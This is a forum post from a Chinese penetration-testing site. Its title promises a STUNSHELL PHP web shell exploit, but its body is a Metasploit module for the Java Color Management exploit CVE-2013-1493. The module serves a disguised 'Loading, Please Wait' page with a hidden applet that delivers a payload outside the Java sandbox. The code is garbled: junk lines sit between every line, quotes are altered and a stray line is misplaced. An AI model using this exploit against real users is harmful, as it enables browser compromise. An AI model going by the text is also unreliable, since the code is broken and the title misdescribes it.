中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
5 H! }$ S+ D: {8 D5 Q* G
# d7 u8 H/ d. O1 W" |. u
# This file is part of the Metasploit Framework and may be subject to
: c+ F+ m$ I4 r7 H/ j$ B
# redistribution and commercial restrictions. Please see the Metasploit
$ l. g4 k1 [" U* c% D; I- W
# web site for more information on licensing and terms of use.
' H- @& @3 h, M8 h' y% x- p: U2 t- h9 r
#
http://metasploit.com/
# k! N5 c. m+ o1 D) t, |
##
! w/ ]8 o3 r6 G3 S' i2 W
require ‘msf/core’
- F: t% ?: A# D! G7 ~/ X( _8 p3 }, A6 {
require ‘rex’
" g. O. c! ~& @" m! X4 F% {9 N5 n
class Metasploit3 < Msf::Exploit::Remote
. ?- B5 _6 ]% g. S- a- }: i
Rank = NormalRanking
% H% |7 \2 X l5 }" J7 A
include Msf::Exploit::Remote::HttpServer::HTML
* t& r/ H% k: s) Z R4 V; t4 _( l
include Msf::Exploit::EXE
" ]9 b# u7 i+ R( Y
include Msf::Exploit::Remote::BrowserAutopwn
3 s% s' z, X. N, G! b# m, H
autopwn_info({ :javascript => false })
+ g6 s& G8 W( C1 c
def initialize( info = {} )
4 N" ?- d6 u) C6 B
super( update_info( info,
- g) ~) Y5 a2 G. c8 ]" ~, F
‘Name’ => ‘Java CMM Remote Code Execution’,
" A5 d% U+ f$ e' o4 Y& M4 [
‘Description’ => %q{
+ E7 i+ w- c [7 W; J
This module abuses the Color Management classes from a Java Applet to run
$ @$ a; y3 [& _7 B. ~1 Q/ g( o! x
arbitrary Java code outside of the sandbox as exploited in the wild in February
3 X9 m( [6 @! q: _
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
. ]3 U7 _, ^6 ]& T5 y
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
1 r8 w& t/ Z1 o7 _2 E% {
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
* ^9 Q5 [% {; m8 \9 S
warning in order to run the malicious applet.
8 o: U- A6 L; x: v8 ~* b
},
3 n5 [4 X3 i. P: L5 q1 b
‘License’ => MSF_LICENSE,
4 A& [( Q) T8 ~0 X! b2 [$ a
‘Author’ =>
( X7 p6 L H: l0 L7 {) S% \
'Unknown', # Vulnerability discovery and Exploit
$ ~2 |8 Y# F8 \+ H" Z
'juan vazquez' # Metasploit module (just ported the published exploit)
1 b: d4 x. s" F3 M4 v
],
% \: n6 t- p3 D3 t4 n& N
‘References’ =>
* D `7 S8 V% p' ]$ L
[
5 ?7 }/ K$ Q/ r
[ 'CVE', '2013-1493' ],
3 Z/ ?4 \1 e- {$ b+ @: e
[ 'OSVDB', '90737' ],
6 l; W$ P5 ~3 A9 j* e& v: d h3 h
[ 'BID', '58238' ],
2 v; t5 l- R3 _! A
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
& M) N- ]3 u0 T* ~: f/ k
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
% r8 g" b# L0 v+ X% L2 B" e6 i! u
[ 'URL', 'http://pastie.org/pastes/6581034' ]
* S0 b1 D7 r7 j
],
, G/ W4 z6 P) g" k# P
‘Platform’ => [ 'win', 'java' ],
9 U6 O" ~. y! V: ~
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
C6 ~2 s4 g& q, J# F0 I1 G
‘Targets’ =>
, ?5 R. W9 ]5 Z o7 `
[
9 T1 w! ?" C% f5 j. d
[ 'Generic (Java Payload)',
# p3 t( k$ F: i$ M! C1 n
{
9 M+ D0 H! _9 y0 O$ \, x# n+ f
'Platform' => 'java',
9 U2 N+ y, w/ N6 ?4 ^5 D1 }1 S$ @
'Arch' => ARCH_JAVA
4 I1 A5 K, y/ b g, K( k6 M2 J' R
}
! |, \- }& J" h+ [- v, t+ i
],
/ V9 j) d+ [0 U5 p
[ 'Windows x86 (Native Payload)',
, U' P: a! D/ h; \: z: B/ }! E
{
& J. f6 A! p) j* I9 {- z
'Platform' => 'win',
: }( \5 Y2 ]8 Z" \
'Arch' => ARCH_X86
( w/ [' D8 J5 k* X! o& p6 t4 A8 Y
}
. a( @0 @0 b! j. j# p% a* E
]
6 {) C/ k) Z+ k1 l* o3 O6 H) p8 E2 v
],
$ z! M6 l G4 V7 T
‘‘DisclosureDate’ => ‘Mar 01 2013′
3 t v0 t# A ]) g; s! J
))
- T: s% A; \. e* m1 ]2 Z' m
end
% E& f9 z# @( f% M2 Q- {
def setup
+ [' V1 W& q- F* i' P, ~ t
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
; Y* |. X" j% Z& Q
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
& j7 Z( S; m2 }) O! Q3 _! w+ R
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
" d' U$ h- L! W6 {( ~3 b5 A: _8 o
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 f/ H1 H2 F" X% B2 P
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
* M/ E* Y# f% p6 X# K# R2 Y4 d% X
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
' |) h |8 v$ o; C2 \: Y5 T
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
6 Q1 ?( Q/ d V- Y
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
0 v$ B; `6 R# W0 A& {
@init_class_name = rand_text_alpha(“Init”.length)
! ^3 z* \! X! F/ j9 m
@init_class.gsub!(“Init”, @init_class_name)
9 J+ ^: Z0 p' a* {
super
- W5 l8 `) g4 n1 n! |
end
. C2 M" m& r+ V
def on_request_uri(cli, request)
/ w' ]' d3 q8 A/ y t
print_status(“handling request for #{request.uri}”)
7 b" l" l0 Z2 _: Y, V5 r
case request.uri
2 t( C, i" M$ k0 C
when /\.jar$/i
; H" U7 g, \: A3 e" s
jar = payload.encoded_jar
$ X4 E9 } I7 ?! ]/ K' K9 ~
jar.add_file(“#{@init_class_name}.class”, @init_class)
, ]4 L" ?5 z/ b. o( R9 M: x
jar.add_file(“Leak.class”, @leak_class)
3 K/ D! X5 k' K3 L
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
( o$ J& R% G" s6 v% A) w6 Y
jar.add_file(“MyColorSpace.class”, @color_space_class)
. k% U% M+ U/ }) r( M" |
DefaultTarget’ => 1,
6 R" W% F8 C$ L7 |, ~
metasploit_str = rand_text_alpha(“metasploit”.length)
4 a8 e( i9 e" b6 B8 o
payload_str = rand_text_alpha(“payload”.length)
7 R3 [5 h- ^* Y! W/ z3 r) v
jar.entries.each { |entry|
1 Q `* x9 n- Z$ N3 V8 h
entry.name.gsub!(“metasploit”, metasploit_str)
2 Z3 C/ Q, \& z+ e8 I: D( C
entry.name.gsub!(“Payload”, payload_str)
9 f A, P3 O& _1 b. o
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
* @ l# l1 e- C) M
entry.data = entry.data.gsub(“Payload”, payload_str)
8 U+ k. s1 |! O; v* l3 f. I
}
: T$ l# i4 t; f5 I+ m
jar.build_manifest
: B( {/ O+ A- [
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
. u/ }, w9 ?- E2 D$ S
when /\/$/
' S4 h# K! A1 h" X0 |0 {2 O
payload = regenerate_payload(cli)
$ |1 W. G, [. G& t& O
if not payload
! b5 b* E3 J* q( Z
print_error(“Failed to generate the payload.”)
8 P+ K' E4 B6 T' U
send_not_found(cli)
( D) c* w! O2 M6 \
return
$ g. ~/ G4 x2 q
end
3 O5 F( Y% R' {
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
6 V$ R8 [, V; p. [+ s( m3 I4 {
else
6 d# {, p/ @3 f. P9 u5 {( C9 n8 C
send_redirect(cli, get_resource() + ‘/’, ”)
; U8 o9 F0 E9 f* M4 q! d |5 v" I
end
4 w7 c& R- m: _4 x& |
end
- B. B1 [7 H2 T+ g
def generate_html
4 d" ]4 G2 ~- u* l( j1 y
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
% p; |) A' ~' H4 ^ ~9 h/ }
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
# v) a3 g4 l; E4 _
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
" a. l6 h, ]) B/ ]
html += %Q|</applet></body></html>|
+ G3 x. e, e; j" K3 x% v: O
return html
6 F: q* @ Q6 y Y6 l' Y! I
end
$ Y: M1 A6 H. a+ r: q- W+ q
end
" v) b1 b, _# K9 f$ Q; N
end
6 Z1 M0 a4 v) \5 f) L" S
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2